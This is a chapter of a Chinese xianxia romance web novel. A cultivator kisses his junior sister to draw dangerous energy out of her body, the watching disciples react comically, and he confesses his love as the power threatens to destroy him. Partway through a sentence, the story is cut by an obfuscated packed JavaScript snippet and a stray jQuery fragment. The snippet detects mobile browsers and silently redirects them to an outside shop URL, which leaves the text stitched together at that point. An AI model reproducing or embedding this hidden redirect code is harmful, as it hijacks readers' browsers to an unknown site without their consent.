他在发抖。
这是枕苏的第一反应。他们两个贴的太近了,近到她能感受到凌清秋紧绷到微微颤抖的身体。
或许是被夺取身体的时间太长,凌清秋的嘴唇很凉,却仿佛要比豆腐还软滑。可枕苏只觉得二人接触的地方,像是有着细微的火焰在烧。
凌清秋整个人是肉眼可见的生疏与僵硬,动作却是极尽可能的温柔。
刚开始,二人只是嘴唇相贴,谁也没有进一步的动作。直到凌清秋没有感到枕苏的厌恶,才进一步的深入、探索。
凌清秋捧着枕苏的脸颊,动作轻柔地像是在对待稀世无双的珍宝。他的姿态并不强硬,动作比起攻城略池,更像是渴求摩挲,如流水一般缠绵,细致而温柔地探索过每一个地方。他的睫毛扫在枕苏的脸上,让她有些发痒。
他一开始的动作看似胆大激烈,其实只是唇齿间轻轻的触碰,像是只黏人的猫咪一般轻轻舔舐。虽说第一次没什么经验,可或许是天赋作祟,短短时间内就已经无师自通,生疏的动作变得越来越熟练,也越来越缱绻。虽说偶尔会泄露一丝急躁,却又被他更加温柔的动作覆压过去。
枕苏完全是懵的。那股强大的灵力洪流让她的身体开始发热,却在半昏半醒间贴上了一个凉凉的东西。她知晓那是什么,可这种感觉对她来说太过陌生。
舌尖被吮吸的有些酥麻,她明明是个元婴修士,此刻竟有些微妙地窒息。
枕苏想要换气,凌清秋却误以为她要逃走,将一只手抚上了她的后脑,将她往自己那边贴得更近,反常的露出些强硬姿态来,湿热的喘息声全部掩埋于这个旖旎的吻里。
她想要挣脱开凌清秋,可整个人却仿佛软下了身子,煞气与灵力组成乱流在身体中乱窜的剧痛渐渐消失,体内的热度也不知何时降了下去,整个人暖烘烘的,就像在午后沐浴着柔和的霞光,泡在温泉里。
而在他们四周沦为背景板的广大弟子,在安好了自己掉落在地上的下巴之后,无一例外地爆发出了扭曲至极的表情。
现场大致分为三个派系:娘家派,吃瓜派,红温派。
娘家派以郑氏兄妹和燕回为首,整个派别散发着格外恐怖的王霸之气。郑明玉郑清意等玄清弟子还好,毕竟凌清秋是他们的大师兄,又和枕师姐情投意合,心里震惊但面上还整的那叫一个云淡风轻。
他们是玄清派的,燕回可不是。只见她“嗖”一下把沧溟神枪扎进地里,双臂抱胸斜倚沧溟,眼神犀利,带着极强的攻击性把凌清秋从上到下从下到上扫视了好几遍,最后冷哼一声,像是不愿再看一般闭上眼睛假装靠在长枪上小憩。
吃瓜派又分成两个部分,一个部分戳戳契约兽秀秀腹肌肉、假装在锻炼身体的玄武堂弟子,又或是开始诵经礼佛、统一打坐修养的玄灵寺众人,再来一个兜帽都没摘下来的斜疏星,他们是看起来一点都不关心实则超级在意的表里不一组。
另一个部分囊括了氛围感高手合欢宗。别看他们宗女弟子占多数,可论起哄谁也没他们有经验。一看就没好好听课的柳絮梨甚至在储物袋里翻出来一本粉色封皮的书,看了眼上面“如何营造热闹与羞腼的反差感”的章节就开始起哄,再加上搞事爱好型写手季沉的参与,他们是看起来很关心实则超级在意的表里如一组。
红温派不多,全场只有两个。一个千归语,一个余镜台。千归语为何异常不用多解释,他的气场甚至开始默默从红温变得沮丧;余镜台就完全是因为心累。
“你干什么啊凌呆呆!平常跟个木头一样不开窍,你他喵的现在这时候亲什么嘴子啊!”
余镜台崩溃大吼,感觉自家木头脑子的好兄弟轨迹好像有些走偏。就像老师平日里交给学生考试要用做题技巧,发现学生把过程和结果都写到了草稿纸上的憋屈感。
而他刚力拔山兮气盖世地吼完,就见凌清秋结束了这漫长一吻。
他的唇看起来像被血浸过,原本的樱粉变成了樱桃红,舌尖划过下唇,带走一抹格外显眼的水渍。整套动作虽然看似强硬,可耳根处红的比晚间云霞还要夸张。
明明他才是主动方,表情却羞腼的像个被轻薄了的姑娘。凌清秋听着耳边余镜台的疯狂尖叫,眉头微皱,直愣愣朝他飞起一抹眼刀,刀的余镜台大呼冤枉。
余镜台:凌呆呆你啥意思?这是嫌我打扰你了?
四周的各位弟子也是望天望地,视线在天上地下旋转了八百回。陆雨眠也轻咳一声,一副“小情侣没眼看”的模样,刚想装模作样地调侃几句,却发现枕苏体内的那股挟裹着冲天煞气的灵力洪流已经消失不见,只留下了一部分较为温和的分支,正在细细温养着她的经脉。
反观凌清秋。虽然还是和往常一样的面瘫脸,耳垂染上了格外显眼的羞红,看起来好像只是因为亲吻而感到害羞。但他周身气势混乱高涨,却又被其主人硬生生不上不下地压制在体内。
看着凌清秋这副眼底水光潋滟,唇色妩媚动人的样子,柳絮梨脑子一飞嘴一抽,一道传世名言脱口而出:“凌大师兄你是有狐妖血脉,能吸人精气吗?”
而这番不过脑子的逆天言论,让合欢宗的时朦大师姐朝她的后脑勺劈头盖脸扇了一掌。
这本应是一句玩笑话,而在多日之后,不知谁又看热闹不嫌事大,把这情景掐头去尾夸张渲染,歪七歪八地乱改了一通,修真界竟传出了“凌大师兄平日里出卖色相来获得枕苏的精气供养”的离谱传闻。
一时间,各位吃瓜群众不只是先惊叹看着老实巴交的面瘫脸竟然勾引自家师妹吸其精气,还是平日里看着柔弱美丽的枕仙客精气如此旺盛,此流言一出,更是遭到了枕苏事业粉的强行抵制。甚至当时在当时的修真界文化领域,掀起了一股类似《重生之我是玄清大师兄》《你有没有为了偶像的事业阻拦狐狸精》等流派的新兴话本。
当然,这些都是后话了。
“我知道了!”余镜台左手摊掌,右手握拳猛地捶在左手掌心上,虽说用力过猛导致表情失控,但他的言语十分笃定。
“凌呆呆是凤凰木化身,凤凰木是世间神木,就算化为人形,也相当于灵力储存的界超大容量的充电宝。刚才跟枕姐亲……咳咳,将多余灵力导进了自己体内,所以枕姐现在没事了。”
他一手比“八”托住下巴,另一只手摸着下巴上并不存在的胡须:“可是凌呆呆,你突然吸入这么多东西,不会有什么后遗症吧。”
自然是有的。
凌清秋面上不显露出任何表情,实则内里痛入骨髓。他是凤凰木所化不假,可凤凰木原本的功能是驱邪,并不是储能。而他本来跟盛安这活了数千年的灵魂在凤凰木化身中拉扯,激烈程度早就让凤凰木的坚韧特性大大损伤,储能亦是如此。
凌清秋明白,自己用这副快要半残的凤凰木体强行将枕苏体内的修罗煞气与暴戾灵力引入己身,自己的结果与那身躯碎裂四散也差不了太久。
可做这些事,他心甘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399764|130142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情愿。
凌清秋看着余镜台狐疑的目光在他身上扫来扫去,话到了嘴边又被他咽下。在众生嘈杂中,他看着目光逐渐清澈的枕苏,知晓她现在已脱离险境。他的视线一点一滴抚摸过她的面容,力度比初春清晨的风还要柔软。嘴角虽然还带着一丝血迹,可早已不自觉地扬起一抹笑来。
雪地初遇,梅间生情,星辰坠空,日久相依。
凌清秋能感觉到,身体里那股力量正蛮横地冲撞掠夺,像是要不顾一切地撕开自己的皮肤,冲出自己的身体。
盛安的灵力太狂暴了,里面自己修炼的、吞噬别人的、来路不正的灵力混杂在一块,虽说盛满将其所蕴含的恶业吞尽又转给枕苏,可就算如此,也改变不了这股灵力的混乱暴戾。而修罗道的煞气虽不像前者这么蛮不讲理,可也不是什么温和的东西,要不然也不会被孟独晴封印在枕苏体内,让她的状态能够控制时再放它出来。
更离谱的是,从用途上说,它也是诛邪而用,身旁却跟着一股鲜血淋淋的灵力洪流,就像修真界执法堂看到了邪修通缉犯,凡尘界的捕快看到了拿着赃物的小偷,这高低得上去给他邦邦两拳。
这就导致现在在凌清秋体内看似是两股不好惹的的力量在伤害他的内里,实际上还要算上煞气与灵力洪流干架时的第三处误伤。
凤凰木有驱邪补灵的功效。若是凌清秋只吸走了枕苏体内的灵力和煞气,或许还能凭着这拉扯数日的凤凰木体撑住几日,回到大陆那边让长辈想办法。可他在吸取那些东西时,竟然还以自身灵血修补了枕苏神识受盛安攻击留下的创伤。这下枕苏的灵魂与身体皆已无虞,他对于体内这两股狂暴力量的承载力自然也就削弱了。
“师兄!”那股惊人的力量离开了枕苏,让她从混乱的神智中清醒过来。可她还未做什么,一睁眼就看到了面色酡红的凌清秋。凌清秋现在不仅脸红手红,无论是露在衣服外的皮肤,还是被衣服遮盖住的部分,温度全都高的烫人。
凌清秋以身体蕴纳灵力,可他毕竟是人形,一旦超出阈值,便会身躯碎裂,不存于世。
“不对,还有办法……”枕苏情急之下急火攻心,“哇”地吐出一口血来。她抓住凌清秋的双手,想要把煞气和灵力引回来。可煞气和灵力正在凌清秋体内打的难分难舍,那股灵力太过暴戾,也太过任性,竟无法被撼动分毫。
“大家别慌,就算凌道友的身子真的炸了,灵魂也不会消散。只要拿锁灵阵将他的灵魂收入其中,再找一块凤凰木,不就没事了!”陆雨眠把巨鹰挡在自己身前,神色激动地开口。
他的话音还未落,就被余镜台一个爆栗,在他大脑门上打出一道红痕。
“你搞笑啊!你的身子才会炸咧!”余镜台愤愤叉腰,“先不说凤凰木化形不只要等多久,我们要去哪里找凤凰木啊!”
他眼中满是担忧,嘴上喋喋不休:“真是听君一席话,如听一席话啦!”
众人绞尽脑汁冥思苦想,但凌清秋的状态已经不起拖延。
他耳尖的薄红还未散去,一双漂亮的眼瞳直愣愣地盯着枕苏。忽的,他像是确定了什么,在身上剧痛如万蚁蚀骨的情况下,轻轻抬手,抹去了对面心上人的泪珠。
“师妹……”
凌清秋像是得了糖果的孩子,以往那副没什么表情的面瘫脸第一次笑的如此开怀。
“你为我哭了,你对我有情。”
“师妹……”
“我心悦你。”